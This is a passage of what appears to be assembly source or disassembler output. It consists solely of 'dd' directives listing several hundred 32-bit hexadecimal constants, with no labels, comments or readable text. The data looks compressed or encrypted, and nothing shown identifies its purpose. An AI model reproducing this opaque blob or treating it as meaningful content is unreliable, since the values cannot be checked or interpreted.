0C7E2EAEEh, 10406372h, 0A101F766h dd 8DC809D5h, 1084F818h, 907FACDBh, 1FD13858h, 0C8408418h dd 8F2970h, 3EEBFB4Ah, 3A58280Dh, 400A9441h, 9004E088h dd 0D3706929h, 38061882h, 0F1C9C45Ch, 0EA840718h, 8E1D59D4h dd 0CD48C5ACh, 21A40B31h, 5440AF15h, 50D4C6DDh, 8874BC31h dd 1E493E71h, 40EB30A8h, 12142CD6h, 99C84C2h, 8029602Ch dd 0C4301002h, 0A0A01610h, 7753A80Ch, 0B3E1808Eh, 1CB43184h dd 80415F30h, 7518C871h, 1967BCh, 2BEC4630h, 79683707h dd 0FC6E621Eh, 1D845CC2h, 0BC70604Bh, 0C4B8C0D5h, 245F9574h dd 0B6059C00h, 0CCB8176Eh, 214C0062h, 9E191134h, 9F48407Dh dd 308490F8h, 893279CAh, 0BC19D86Ch, 3E00E8F1h, 2A77A20h dd 604231E6h, 8CF668DBh, 98035703h, 0A5668BBDh, 879398C1h dd 16910095h, 4EA38465h, 0AEEE9F46h, 0ADC0DC00h, 0C18DD317h dd 57633DA0h, 0E60524F8h, 0D4AC00AEh, 4FA5DFADh, 6472DC00h dd 62ABF521h, 0BF9613CFh, 30440E3h, 1F686FC3h, 0F66D3Ch dd 91A4A8E6h, 0FD9BF90h, 0B48A1314h, 0A9441832h, 0CD0099B2h dd 0EDF36B40h, 0FA69A7Ch, 5DC0BE8h, 26803C2Fh, 0D9CCC9FAh dd 8B355C18h, 2606D140h, 0A5A928Fh, 90C62Ch, 0D2CAABA9h dd 3C0E7CB2h, 0E012FB76h, 6C15CF42h, 0C4794828h, 6ED5D051h dd 0FA604003h, 0FB9CDE89h, 0AF9A002Fh, 7221A514h, 0D50010CDh dd 5D87A204h, 1EC8036Ch, 40EC01F3h, 0B2F1908Dh, 5C3A9D75h dd 400A0F09h, 0DBA1C079h, 809BFFh, 2CDCBE6Bh, 9678B19Eh dd 0DEE98800h, 0ED858A99h, 0E1BC2455h, 0D0250021h, 1B5DB035h dd 520BDB07h, 8F59FCA2h, 0C07B8088h, 0FED88h, 7DE15AFBh dd 0D89C6A9Bh, 0C185E20Fh, 60C56154h, 16C434F8h, 75FF4E9h dd 87025D9Ch, 3E01F75h, 8F9B40F3h, 0CA523700h, 8971D857h dd 0CD798Bh, 2E701725h, 6445CB79h, 365FA900h, 8E11F0CEh dd 0EBFA91h, 9D819363h, 666FA6C6h, 0D706C907h, 0B9809E4Bh dd 0E8A5177Eh, 0B24300C0h, 0FB6ADC58h, 0E20076F8h, 0F4852865h dd 4248BDh, 383E0833h dd 0D1DCFFDh, 8C5B9102h, 406C261Ah, 0F54B00Ah, 0F0C99537h dd 61BB1000h, 170721C7h, 6FF9A9F1h, 16435D70h, 70AD00E1h dd 2450BCB0h, 800490Ah, 0D125FD69h, 6F838AFh, 6B2C0E8Dh dd 560048CAh, 0D2B9DC93h, 766098CFh, 57E4013Eh, 0EC31F9Dh dd 2F7620C0h, 4A384C00h, 0F2047663h, 8898A4h, 30F6BBD1h dd 2EAA0BA8h, 9E17DA00h, 4DEE7B5Eh, 0DE3E0078h, 7A518C14h dd 82001921h, 0B7096153h, 0FA75C1Ah, 0ADC2503h, 0FE3DBDA0h dd 0B0032A1h, 5283782Bh, 5E01E5h, 5A88EED7h, 2169A7A5h dd 0F13A058h, 615B9ECAh, 7F0AFBA9h, 0B7D3DCh, 0C078068Eh dd 0DE47856Ch, 8C417600h, 0DA0BC4BAh, 6BF900F1h, 6E0F70F8h dd 46E0355Ah, 836D1D00h, 7FB1EF75h, 0EAED004Dh, 7C380A52h dd 79007873h, 0A699C059h, 0E2BADB57h, 0FD17DB4h, 0A1B0314Ch dd 0E1AB7580h, 0DF1C8798h, 3F4055DCh, 81ECCF50h, 303E012Eh dd 78D6680Ah, 0CDB840A1h, 737DA4A0h, 6A6B4600h, 0B49616D8h dd 9FE0002Bh, 0F11A4BA2h, 5C035182h, 1CA42DFBh, 0F87CE04Dh dd 0E2570197h, 0B82F1EA8h, 508DC5Dh, 0F9FB6E07h, 110066B5h dd 19A272h, 3E3FB715h, 81D3EC1Ch, 9222A400h, 10174ECFh dd 27F1878h, 6A21FC59h, 6501B200h, 0DB60C7E4h, 220F5A4h dd 6B3900FDh, 0DA033F0Ah, 1BE2664Bh, 98EC1C90h, 0E81948h dd 0FCAA9137h, 1C848Bh, 63DE6E3Ch, 9EB24BCh, 5ABB1501h dd 71F7D775h, 1FCA3420h, 0C1FF0C3Dh, 94AB2CB4h, 337C206Bh dd 3E5D2201h, 19E38A0Ah, 0D514EC40h, 563F0031h, 1FA5EEC1h dd 34391845h, 0D15B0695h, 228B57Dh, 765367D7h, 0B080AFC8h dd 69D2A2ACh, 6B0DEF00h, 0A6BDDC43h, 959008Ch, 0B96C747Dh dd 2B1DF002h, 0ADC1BC6Eh, 3F8FA289h, 0CCD820h, 0E19AD90Ah dd 30E4EC4Eh, 66CE6E00h, 444C603Eh, 84D30081h, 0B72BC889h dd 42ECA322h, 3E1A0500h, 1FF7D45Eh, 92A50271h, 88B4B88Eh dd 5AF5C480h, 35009FCEh, 0AA0A216Eh, 38EAF76h, 91A5675Bh dd 6FC06B3Ah, 530088ECh, 45A72D06h, 0D84622h, 0F7B51898h dd 0AFD21CA8h, 0B82C3A00h, 49E72666h, 0F1925890h, 7684E63Eh dd 806D8012h, 0E1FE8734h, 0A4C45100h, 0EA022AD0h, 15A6036Ch dd 8C91FB8Fh, 146028D8h, 0B11D21Dh, 0BD17A780h, 3A51A5h dd 0DCF205BBh, 21A8DBCFh, 80C57A3Eh, 0E89EA081h, 7DD07D6h dd 130F5883h, 0C2F111ACh, 1BF06B1Fh, 9B2900C8h, 97436551h dd 0AF0B2064h, 44889C0h, 3CC0424Ah, 655469h, 0FF6D98D2h dd 0BF9EA786h, 27C64500h, 62A54821h, 7FD00011h, 0F03F5241h dd 6D0066B0h, 4D175FDFh, 70B486h, 37D883FCh, 0D556A581h dd 92AE600h, 55A65994h, 0D930009Dh, 2E3AAD35h, 83268AAFh dd 4F00AB8Bh, 0B2A1E066h, 130A03FAh, 617EFED6h, 7F3590C7h dd 33000738h, 3B60E424h, 0BF195C6h, 576937C1h, 0F4B48000h dd 1C006E74h, 7A253839h, 0C16F49h, 0FF2DE142h, 86237CF9h dd 18A0B524h, 0F80B7D05h, 62A7DC0h, 9411016Ah, 6B67E1E5h dd 0CD4C248Fh, 0E0E802E6h, 0B8845801h, 0B1186195h, 97A1CCh dd 0E74FA605h, 0F50DC57Eh, 578D3D07h, 2E0E518h, 130CCDh dd 0C3539FA7h, 68FA78C7h, 2C0A10B8h, 58DECF29h, 0E6211E02h dd 4250C083h, 6F9D07F5h, 932FE9DDh, 7FA2B2D3h, 0A238760h dd 970027F8h, 0D80D196Ch, 8EFE54h, 0EBC4D0BEh, 92DED2CDh dd 0F2CFE207h, 807EAEBFh, 0DDD9E879h, 0FAB5B011h, 0C7400B09h dd 0C82077F3h, 0A208EBAAh, 7F46231Dh, 5C0CFB41h, 8CC870AFh dd 0A7AC1EB6h, 485883C3h, 7F8A2EAh, 85076F0Dh, 0EF536120h dd 0F897A8F3h, 0C2E635h, 0C98C4CF0h, 55D86FF7h, 43F8A503h dd 90703A29h, 1DE4955Ch, 7FD790E8h, 6B9C5300h, 0D8C6D513h dd 7C1EB71Dh, 568EB340h, 0B25E35h, 5595F54Dh, 36E072F4h dd 0F8442504h, 2CC55F7Ch, 4AEC5C00h, 754BE9h, 0B9711DA9h dd 95BD92C6h, 0F00AA000h, 30CBEFA3h, 8D560033h, 9EEA1A02h dd 7C03BE09h, 6DD6175Eh, 2429F013h, 7BA01F6h, 0A42CAC43h dd 1EC864CEh, 5408C418h, 227670h, 1A621657h, 84638506h dd 0F70FC518h, 813A21h, 0C92748FBh, 0C84F45B1h, 228FE513h dd 0EF1ED41Eh, 55294B00h, 19DA1920h, 6812FE93h, 1A9AFC43h dd 83140F0Fh, 303A8031h, 0E4704Dh, 111942EDh, 1BD63BD7h dd 0FC651600h, 3F3A698Dh, 0B0ED17C1h, 6120471Ah, 8F2CC02Bh dd 5F00E82Eh, 37C3F7A7h, 0F981E73h, 0D3F551E4h, 6FD27940h dd 18E0FE8Eh, 676084B2h, 845BEB0h, 0C2950FFh, 1B6930EDh dd 6C589B61h, 6A768F1Eh, 7843B200h, 8E2C39h, 7473535Eh dd 0EDF56FCBh, 0C133B00h, 4829B4CEh, 34FE3DD3h, 83934D80h dd 36625EFBh, 4075D7Bh, 7F2A5308h, 7A8D8200h, 0FD5C48E6h dd 70E0D800h, 61F3085Bh, 4A58C507h, 0F7404810h, 9A2019h dd 3BE8D340h, 4C8223Eh, 0EA7A4AECh, 0F3B2FC00h, 219C669Bh dd 5113000Dh, 5DA5A1C5h, 6C007DC9h, 0F8018EDAh, 4D42A4h dd 10B63E34h, 89DDBC1Eh, 52B08B00h, 269EADD0h, 9F87129Bh dd 0D61E0099h, 0C59429D1h, 5E6DF704h, 1493E7FCh, 932BA0E3h dd 0F89A26h, 0FF69F52Dh, 1A49D945h, 8891F33h, 8D21002Eh dd 0C5F681Dh, 0F40077FAh, 29125B52h, 0A0BCE19Dh, 15CCBBCh dd 46B4C6A5h, 0D0544E65h, 4015C3D2h, 1C8E477h, 4202E2D4h dd 5885F8B3h, 401A4F73h, 0DAE834DCh, 403C3383h, 3943097Eh dd 429C21A9h, 6C248763h, 6DBA0CF2h, 3079CCEEh, 0FFA48F26h dd 0E9DF3F01h, 88C48EDh, 8920AE54h, 0AFA4661Eh, 8F47EEC9h dd 9B73E014h, 1CF3842Bh, 0B05E555Bh, 0C7FD8868h, 5F90D000h dd 5025F122h, 19093C52h, 2861E502h, 1840C48Ch, 0E27365FFh dd 0D05C0E33h, 0AEE12EE0h, 0A469002Bh, 0A9F5F74Bh, 2B00EE71h dd 0D06CC0D6h, 29DC2DF2h, 0D3C07E5Bh, 0AAA160E4h, 827AC9h dd 76A5AABh, 0DD428AE6h, 1E3E94A8h, 538E3700h, 0AC0E34BEh dd 36F8016Ch, 78CF60C4h, 78806BF0h, 1943EC4Bh, 8ED040Ah dd 9103E4F4h, 0F7A41150h, 7965C830h, 7D1FF0CDh, 85520026h dd 7CB9B797h, 131FE450h, 33CE3EA5h, 577CEA8h, 8440ED41h dd 930FB5B6h, 6C800CD6h, 2D09E9B7h, 9620CB60h, 28870FB8h dd 346091h, 5EA651DCh, 96638465h, 17DF1E02h, 6B5C4EF5h dd 0B4209D58h, 1C39DA7Eh, 8090296Eh, 240C185Fh, 0FA60EEABh dd 573A2E51h, 65150094h, 0E334FF5Fh, 9F00C166h, 0D0649D4Fh dd 2C640BDh, 563810F7h, 0FC405EC4h, 0AF00CBFFh, 981D2AAAh dd 3055A9FCh, 74807F31h, 4DE86561h, 0BE727E00h, 0C85640F1h dd 0EE870EAEh, 63E29F8h, 0D07E4F85h, 0E605270Ah, 94702058h dd 30058C36h, 68A8B81Bh, 625B1890h, 0E09829h, 2DC920CAh dd 27CE49BFh, 0F8F95540h, 0F2A7006Bh, 84436763h, 5D007B66h dd 272B1D29h, 9E08E83h, 0C8FAC061h, 0C2EC5C02h, 7D350068h dd 0ABE9C407h, 0FAA1AC87h, 598A5F45h, 80B4F154h, 0F5D5D274h dd 820EAAA7h, 41FAF2D1h, 67176849h, 66A830h, 50D6A295h dd 47E9BA02h, 42B36100h, 577CE7BEh, 0ADD13159h, 8E58A5D0h dd 0A3653A61h, 90B82FDAh, 0BD05ACh, 3DB95EDBh, 1AC866ADh dd 0C1890200h, 0A83EE61Eh, 649A01E8h, 5B074A87h, 5E9050BAh dd 0F8A822D4h, 60A0A5EDh, 87009886h, 9A0DEC75h, 35DB69h dd 1E911B82h, 0AC1157D1h, 0ADF28800h, 0C08E9F77h, 4590A8D2h dd 29890C18h, 1E10E42Dh dd 490B2B00h, 0E39DCA87h, 9BDDF514h, 4623064h, 73BE4F5Eh dd 0D51C80B2h, 0E0AC8E56h, 62C60750h, 8DCB251h, 0EC8852E0h dd 21365C98h, 9D18D800h, 0FE65C299h, 1D004496h, 21F17D8Dh dd 823E0016h, 696BC611h, 4AEC77A3h, 78955024h, 9E306461h dd 8BD160h, 8D2162D2h, 0DC714673h, 5F4C11F6h, 0E0B68F98h dd 0D0AC45A0h, 0DF5B267Ah, 0D6720148h, 20491F5Dh, 1D138648h dd 50612913h, 43D86817h, 221643C9h, 0BF8B00F2h, 8AF53868h dd 0C10462DCh, 0E4E95E50h, 0BDC63894h, 5A7F470h, 0A8ED7E4Eh dd 678440D5h, 9D8B8418h, 541F7400h, 5B78F28h, 0A6020361h dd 17656250h, 0E818B809h, 0AE001058h, 0A5E17477h, 632E4454h dd 39A8D8B8h, 0D6820014h, 618EA2C2h, 0CA502C60h, 4100CBFCh dd 0F7C48669h, 4072058h, 0F30B9281h, 5CE091DEh, 45436083h dd 84F42D00h, 1BB64F37h, 69903B7h, 387EB9D5h, 0D0614000h dd 0F56CC62Eh, 4F0E0025h, 0E9147354h, 58F41663h, 100067Ah dd 700F699Ch, 0A4D65E5Dh, 0A7C17ECh, 3EBE0B3Ah, 0F5998C23h dd 0C6F1D0F1h, 0D0876069h, 17F4BFBDh, 0F0B48A2Eh, 0C5284582h dd 0D4D06026h, 7FBA1F71h, 0E71380B6h, 604FBE63h, 39D0C900h dd 3B6955A8h, 5CD4142Bh, 8FB020B5h, 0FA86B701h, 77120940h dd 0FC9842FBh, 8E040FBCh, 686E48D6h, 5B202C22h, 793F0FE6h dd 710606A0h, 0B8227E70h, 788E4F00h, 635658C3h, 156B2851h dd 24767CB4h, 7CB0C439h, 2A00E546h, 0F3057FABh, 7714B15Dh dd 1A9C58CEh, 0C04889C0h, 86EF9828h, 11A4803Bh, 38848745h dd 931600BBh, 1CD2EAA4h, 0C4CA721Fh, 0C0E90EA6h, 46686054h dd 0B60E260h, 0AA3BF528h, 69D068B0h, 593D3102h, 0D7C51320h dd 0A09838A6h, 0BF024646h, 90D68D0Fh, 80C88B30h, 0F00E7A8h dd 0E554FCABh, 92E9615Fh, 22AFAB4h, 1206ADE8h, 0E0A226A5h dd 0B4E4C472h, 5C2183Ah, 0C96C0668h, 1662AC00h, 776D1E79h dd 26A03EDh, 33D1B66Fh, 0C09DAE8Fh, 0E19E4C13h, 2902718Bh dd 55A02711h, 0F609FF83h, 0AA1DBE81h, 4274E00Eh, 949CA201h dd 0F98EF48Ch, 0ECEFC560h, 4DDF00F0h, 2531AD30h, 971E6959h dd 9D98A86Dh, 5128FA38h, 0F4F0EF01h, 0D1B3E7Eh, 0ED805C3Fh dd 0FA5B87B0h, 3900F904h, 34F50550h, 3859DA0Fh, 5400C3ADh dd 0C285AF19h, 9CC7F068h, 0C01C4C7h, 1885A022h, 0C341BD38h dd 2CD38D77h, 0E8B88C9Bh, 5E796A10h, 18C4963Bh, 0FA481B7Dh dd 8FB70034h, 8E01C777h, 1900587Ch, 0D15B0DBh, 5CAF5Bh dd 46FF28EBh, 2C0666BBh, 7DB9990Eh, 387F2CCCh, 55B80027h dd 2515FAF1h, 0D3007923h, 0D1A1F0C0h, 14B6A2A3h, 0BFEC2480h dd 0B16F8400h, 1EF2583Dh, 0A3ABED0Dh, 0C8804905h, 85B20928h dd 8CA0681Ah, 0E100D374h, 75695F7h, 0C03C11h, 6AFFA82h dd 0CC2A65F6h, 63C80826h, 52E66800h, 37CB10h, 2CFDD38Dh dd 0C1F1F496h, 85C784A0h, 68CF8900h, 8A1AC3DAh, 3879DDh dd 0A634910Fh, 0D76EE272h, 0CD62B700h, 60E896D5h, 24783D09h dd 280E4F18h, 25886F6Ah, 0F49F40CBh, 953911F1h, 141E5194h dd 4548FE00h, 9B9096C5h, 0F52E0E40h, 3C425194h, 0CA106208h dd 6A3C08h, 0A34C23C7h, 9400BC3Dh, 5F7EEA42h, 1DB90AE4h dd 2DF4E6h, 9059D46Eh, 300029C0h, 0AA7A552Fh, 1B0AD1h dd 0F45D9499h, 67FAAF1Ah, 9B5F5200h, 8C980BA0h, 0C0F60040h dd 0FFE6DE48h, 47006994h, 30C7EC25h, 0EF07AD5h, 828EADB5h dd 38676480h, 591DCE45h, 6BC0E94Ah, 0C929E806h, 52C43905h dd 0F12AED80h, 1758078Eh, 4E0B4A00h, 8FDB4162h, 54E446h dd 6A6B7365h, 0CC775D7Fh, 0BC669F00h, 0FD03C1EFh, 551900BDh dd 0AE0DF6DBh, 8628F9AAh, 8500D48Ch, 0B1F39DB3h, 3AC5019h dd 8FD2FF18h, 0BED082C4h, 0D50EC5E1h, 8D25CCh, 0BA38B750h dd 11370219h, 0FC7757B9h, 3E5C8160h, 0A739600h, 0CC286A87h dd 0CFE6008Dh, 0E27D4805h, 48C0C4D3h, 72E0C3C6h, 256725Fh dd 995D2BE7h, 20409193h, 0D93DE852h, 5AE38336h, 81D3B261h dd 573097BAh, 440300A1h, 3C542060h, 51002DB8h, 29B7EE5Ch dd 0EFC064h, 7BD531D0h, 2B213FF9h, 9B158E00h, 420B3E06h dd 0EDC03F4Fh, 0E7E9EA80h, 2937F3FAh, 2E8B6100h, 5F4E3DCCh dd 0E8FD3B0Bh, 6756AC80h, 9A29C741h, 3CB0B21Ch, 0DBD42647h dd 0E9C2F8F7h, 54CE41A7h, 79EEC8h, 5F754660h, 1D7EA8BDh dd 69AC1024h, 0E0D9280Fh, 0F6E77D85h, 41F66Bh, 0D80A84FCh dd 0D4CECA99h, 7C22000h, 246F7E34h, 358F6B1h, 76837D66h dd 35B07956h, 2F006E8Fh, 61CC9E0Bh, 2426BAE7h, 37773EACh dd 1AFFF07Eh, 0E3714395h, 7E00647Fh, 127149F2h, 1C3D58FEh dd 0FC23CD1Eh, 36AC03FFh, 93070F1Bh, 0C07EC3D1h, 92BDE1h dd 62035200h, 0CA9AA1B9h, 0AFD4007Dh, 1A2E448h, 0EE00CC06h dd 238461ADh, 0D4DE0h, 415D7CF2h, 62A77EACh, 0E10ADBE0h dd 0ECECC666h, 0E0809D1Eh, 137D041h, 3A9F0020h, 15125CB6h dd 0C6009760h, 0D543EBADh, 74E3337h, 0DBFA80C1h, 89FCA3FBh dd 203187E1h, 8D77E68Ch, 0DC057800h, 2BC40E8Fh, 25B70044h dd 400AE1C5h, 9000CE4Eh, 5CB43A31h, 3DB9214Ah, 268B99A9h dd 0F580AE49h, 7C386F6Bh, 0AFF58A00h, 0FC199A30h, 12173D2h dd 0F0DE45C4h, 0C4BE40D5h, 0BD0EE0BCh, 20FACB90h, 0A0469A7Ch dd 6E650783h, 6616EAh, 0D39C1F9h, 0D898C700h, 245BAB18h dd 7ED30002h, 6C32A4D9h, 0C0F2138Dh, 2BFAB20Bh, 88478075h dd 7DDEBCEh, 324D9FEDh, 1681C067h, 2D05868Ch, 122687CAh dd 0DDD88A00h, 5E85C6F6h, 7E9DF081h, 9CB2CA06h, 0E034B436h dd 0E2A00FCh, 449B698h, 24FA6594h, 439BDA05h, 0F2871EEDh dd 0F2EFF840h, 43DFA28h, 37C5AFE8h, 62248068h, 0B500ECA5h dd 2B198785h, 0A69298h, 0E0D9B16Eh, 94508491h, 0CB343600h dd 0D087CBCh, 0B161009Fh, 0C0CA38B3h, 0FF002C98h, 0E0C22F4Ah dd 184FA8DDh, 0FACB0899h, 1600AC53h, 0CA3FAD6Ah, 635918h dd 3C3A39B0h, 13F8F3A6h, 417B1512h, 0BCF63200h, 3BF0BCDh dd 0B1B53E21h, 0A8015371h, 0C4ADD85h, 78306C76h, 0A3213E17h dd 32227080h, 86429CE0h, 0A7003C90h, 6BD5C001h, 2CA4FC2Bh dd 3DB2917h, 847406DCh, 0C4B9D490h, 0FC00A37Dh, 28323F4Ch dd 0EE21EFh, 94244931h, 0FBB98AA1h, 0A48F8C38h, 19000059h dd 0CACEDF07h, 0F0E50084h, 0F7D4C6F2h, 0A2240617h, 39AC36h dd 9B95AD54h, 858E46h, 0DB51DEA3h, 0DAB67782h, 8BCE6B07h dd 0D9832CF9h, 0A6F2F09Dh, 0F32307BBh, 649E87C1h, 0D184C044h dd 0E1BF92Bh, 83E06B32h, 4035AAA2h, 2C1807F8h, 0C07155h dd 60305C69h, 8498DE7Ch, 0B0B93200h, 1EDC8DBh, 7E0AE892h dd 85E2054Fh, 833F5667h, 0EBCCAD58h, 1D205080h, 2A9400C7h dd 0ACEF7FA4h, 0A30A5E23h, 0A565B7DFh, 68DB6000h, 0E3C39FDh dd 2B700341h, 0EF2CDD4Fh, 0AACE9982h, 9CABA031h, 6024986Ch dd 0CC48E865h, 0AF00E113h, 0A8FC3852h, 8F86D1h, 75D8D006h dd 8CD7C373h, 0ADC85900h, 2148B2BDh, 0CEA700A0h, 982395F1h dd 0EF263D88h, 0B906E4B0h, 13C0DFFEh, 3077F0h, 17A9F930h dd 0B51D1D25h, 0BAC066D5h, 0D441D9FAh, 0CEB21EDFh, 47F14080h dd 9D176856h, 0A30AA900h, 7FBEF9E5h, 0A4BD0019h, 0A1E1CA4Bh dd 40093FC9h, 64696B5h, 0E4B36Bh, 178DAAA9h, 25917832h dd 42BD6100h, 7AD455CAh dd 0DFED1D2Ah, 5DF00082h, 304E3A15h, 45364100h, 65EBB17Bh dd 16F032h, 54E16901h, 124E1167h, 800B6FEh, 346E35C3h dd 0ED4E8B2h, 9C0A60AEh, 5720D86Fh, 18027DE9h, 91003BE8h dd 27A6A55Ah, 61EE22h, 136FE0CCh, 5D426D80h, 0F32B3700h dd 2DD14335h, 754000C1h, 367E8112h, 0E5E2D2D3h, 550E9600h dd 4F4C9C35h, 2E5100CFh, 9D664E60h, 6E3DE82Bh, 81C4801Bh dd 1C0A9854h, 5AEC00E6h, 67D263FFh, 360A24D4h, 0FF6E17C3h dd 32F58039h, 0FCC2ECAEh, 6B5500E2h, 1AD707D9h, 6D00172Ah dd 90442404h, 98D9413h, 857CCBBFh, 71399B00h, 0C03FDB5Fh dd 0B33EF9C2h, 0F73104F1h, 0B2C0A6ABh, 124814Eh, 3CD357C5h dd 0C7D192AAh, 4E9058h, 0F0A4EEE2h, 1C174BC7h, 89742D8Bh dd 48E1943h, 0E24A60E0h, 8602BC7Eh, 3EB80E1Dh, 89E460F8h dd 8D5A0E71h, 6E804D76h, 59D6196Fh, 0E2E1701Fh, 0F1C9ADC0h dd 8B38C8h, 5EF6E92Bh, 0A2BD5B82h, 0D514CA76h, 0E7CFDF0h dd 80A0C7F3h, 1470A373h, 7C914992h, 46F9D80Fh, 3D58AA0h dd 0EB002978h, 0A89BCAC0h, 7773A195h, 69260197h, 24F68A7h dd 5F27D02Ah, 0D5393B0Eh, 2ED22009h, 0FF1DFDh, 458B84C1h dd 126B3A87h, 2900067Fh, 3E0D01DCh, 0F11394h, 7A5AFEBh dd 0F73C593Fh, 0BC03FD71h, 0B8096A1Bh, 532EC0CFh, 1710004Fh dd 169326C0h, 0B730412Fh, 77E338AEh, 9B79031Ah, 2572D7BCh dd 0B6E2CAF0h, 5B6C440Bh, 896C80C5h, 48C2FC9Ah, 131FF43Fh dd 3BB0011Ah, 30CC1486h, 8F000444h, 17D02CF1h, 0F958AA0h dd 372A7E91h, 2DD52540h, 9C00A1BFh, 0D8224FE2h, 849419h dd 0E3FF9AE6h, 0A23F99D3h, 0A3591B0Eh, 5A1C207Eh, 8A5DA9h dd 0DF5BBA26h, 0DCC654D6h, 0D5272800h, 9D7B92Fh, 50730042h dd 926B6E72h, 221898A8h, 62A8614Ah, 0E720015Fh, 1C45DB5Bh dd 51C084FBh, 24C0EF0Eh, 680A58h, 0B7821511h, 0CA0DFF19h dd 0FD2FA000h, 33C0E631h, 5DF1FC05h, 2E0064C6h, 0D30F61ECh dd 0B6189B32h, 94183DBAh, 6E29050Bh, 13DD45B7h, 66540388h dd 7A90D2F8h, 0BE743B32h, 47ACEB24h, 0F295C100h, 37EACFh dd 8A1DCC8h, 0DAADC27Ch, 1A351000h, 0E8170616h, 0AAEC07BFh dd 0F387E39Ch, 0DAF85B74h, 0CE21B14h, 71ABBC00h, 207A789Eh dd 407357h, 0FBE0A1F6h, 0C60CC01Eh, 3F3EDBFAh, 8AC81F41h dd 3BA89840h, 58877BFFh, 589F2CE3h, 0D0B9B02Ch, 4FCD5D00h dd 657ED773h, 60E60072h, 0D9C4C85Eh, 3500CC18h, 0ECAA9CB1h dd 0A02629h, 596EBFA5h, 9DF4771Eh, 0AE448204h, 0E481AA7Bh dd 0BADC8FECh, 0F54F0097h, 92E6CC3h, 0E2006306h, 0D430B382h dd 0A069495Fh, 9D1A9Ch, 9ECDB64Ch, 3328CBF2h, 60D44600h dd 34E291D2h, 0DC510019h, 365B7A17h, 6071A40h, 0CB8A3C12h dd 2D4F8C20h, 0EEF6B9h, 8BC99FE8h, 6611D85h, 32155900h dd 0CD34A6E1h, 48A300ABh, 4026CF1h, 0E81E704Bh, 24C77B8Ch dd 58C069E5h, 0E90A519h, 12C93298h, 421A03A0h, 1D72F90Ah dd 0BAFE7571h, 4986BB04h, 9090A172h, 0BF3532h, 0FA0D73F2h dd 9432305h, 0A458DD3Bh, 600381Eh, 83B37A57h, 4E1C091Bh dd 0FC80E825h, 68D8ABBFh, 37E47577h, 7357D90Fh, 802CE969h dd 0C042D483h, 88C400EFh, 288BF9B4h, 2326B8CDh, 0ED046802h dd 0C8A05642h, 0DF77E4B1h, 7FAEC078h, 0A7EEB02Eh, 3DD0E700h dd 0B3C1066Bh, 908900DFh, 734B2F9Fh, 0A0C1695Dh, 968424D5h dd 5E0EF708h, 806493B2h, 48C46CC2h, 5F120070h, 7CBC1D82h dd 75005BE3h, 2C54CF88h, 769E3143h, 0F99C0C42h, 3C703896h dd 8300A27Bh, 8198AFE2h, 0C068A52Ah, 0DB17AB60h, 20401811h dd 154900B8h, 0B3B40507h, 540A7142h, 0B03CA2B2h, 806CFB09h dd 743FAF40h, 0EC7B57h, 76BADB55h, 519E95E1h, 30DDF10Eh dd 0D0016D5h, 0D42006FDh, 326F2846h, 0B8160BA1h, 0E5871C57h dd 7447C0E0h, 4D0053FEh, 0F7DB54D2h, 58BCFBDh, 9AB34F5Fh dd 2ACFC3ABh, 0D4981450h, 0A0EBFA02h, 40DD681Eh, 732E06Ah dd 0D228416Ah, 633CB384h, 1D875E88h, 12709667h, 0EC5A804Fh dd 0FD08A8Bh, 0FBDC3E06h, 74C8E6A1h, 0F308F00Ah, 39FA5E03h dd 92C90664h, 0B1C0260h, 7F7840C6h, 0D0AD4509h, 20128EB7h dd 708DB4C9h, 68DC000Eh, 6708C805h, 282CB26Dh, 0A200FA64h dd 0F7A745EEh, 75573DE0h, 8656FB81h, 0F221D085h, 35D5B1E0h dd 0E3E7A600h, 7D0FDB98h, 0BE641C5Bh, 1B2CC00Bh, 45B3FEA4h dd 48714900h, 9559AC12h, 0E6B00021h, 0B840F71Fh, 0B50A3CB1h dd 0D8F82F2Ah, 0E16014A4h, 3B1570h, 3A23D0DDh, 0B085B463h dd 0CFA33F00h, 7173DBA5h, 5C971FE5h, 0CA26C0BCh, 692C2F82h dd 80932A3Dh, 0AE7E4429h, 0BA09Ah, 622BB39Ch, 8E33BC46h dd 1E98C024h, 0CA950Bh, 0CF95150h, 0C51096F6h, 70EAC01Ch dd 0F4E590C5h, 8E004F85h, 0A7C8D853h, 79675A2Ah, 8D020327h dd 0E9E518D2h, 1CC450B2h, 7F385700h, 41DB9A7Ch, 5B3001B1h dd 20BA1CAh, 7B3480B7h, 132B852Dh, 57C600DDh, 559CDC18h dd 0B6034779h, 8505E9B2h, 0FE7790DBh, 94305044h, 401496D1h dd 23BA8A92h, 0FF1B9300h, 0B8B13929h, 754201A0h, 2632C4CEh dd 932EC00Dh, 0ABDC6200h, 0C5406ABAh, 8C9B59CCh, 1732A800h dd 8D85DAAFh, 0CF683B00h, 60CC5D31h, 0ACF912AAh, 296844ABh dd 0C6D0D08Ch, 109A0E32h, 8879F31Eh, 91FBBAC0h, 0DD4473h dd 1596D6B4h, 35666F1Dh, 0B600847Bh, 0B9AEF194h, 0B746CAh dd 91DF0CB2h, 0EA70980Dh, 0AD07A400h, 214A2041h, 872D1727h dd 0FF7400F2h, 2F799866h, 0A3535800h, 65E6437Fh, 0AC4D0077h dd 0BDD2FCCCh, 100EADBh, 64AD3466h, 0C1A0DCh, 0E6BE3CA7h dd 0B0EF30D2h, 0F56A2C1Eh, 64E77140h, 2C519B15h, 0B9001E88h dd 75FF01FFh, 0D72ABD3Ah, 0FC0F21F8h, 0CC007A08h, 10A58E96h dd 7BC25F8Dh, 1E91714Fh, 415BE248h, 12E56130h, 0F5C4F8DCh dd 45ABCCE1h, 483CF400h, 6CF9B03Ah, 0AE1A05FFh, 0C08CB979h dd 0D04C3595h, 99A36207h, 0A6E0CB14h, 0F95857F0h, 489CED0h dd 0CC0A6A13h, 2914D03Dh, 0D0023ACBh, 0CFC8FB37h, 237040AEh dd 0EEF00184h, 2E0A7278h, 242CEBh, 0B9ADA683h, 86A3E6h dd 43B4908Dh, 371EE19Dh, 0B8FED700h, 357713D9h, 24B67489h dd 93C8DBAEh, 0E5A020C1h, 57F454ADh, 986026h, 19812700h dd 1BC64EAh, 9FD953C8h, 0D8479D9Eh, 0A70242ABh, 833DDEA3h dd 0B0DC5009h, 0ECA20056h, 8069541Fh, 8B004968h, 28022E92h dd 717D19Ch, 7388E87Bh, 0C5C4D0CAh, 0E4009562h, 7E570B68h dd 0A74454h, 0D4823426h, 0D22A19FBh, 78B068F8h, 5CFF5300h dd 8BEFB062h, 0A1AE00F4h, 68F62CBCh, 0A70148FAh, 743EC094h dd 9C706008h, 6EFC0110h, 71AAF1B6h, 41496035h, 0E7DD9B00h dd 68E9D273h, 409E0050h, 84AF4B1Eh, 0D10326C0h, 7BAAB2BDh dd 0F7EF812h, 2C4D7E32h, 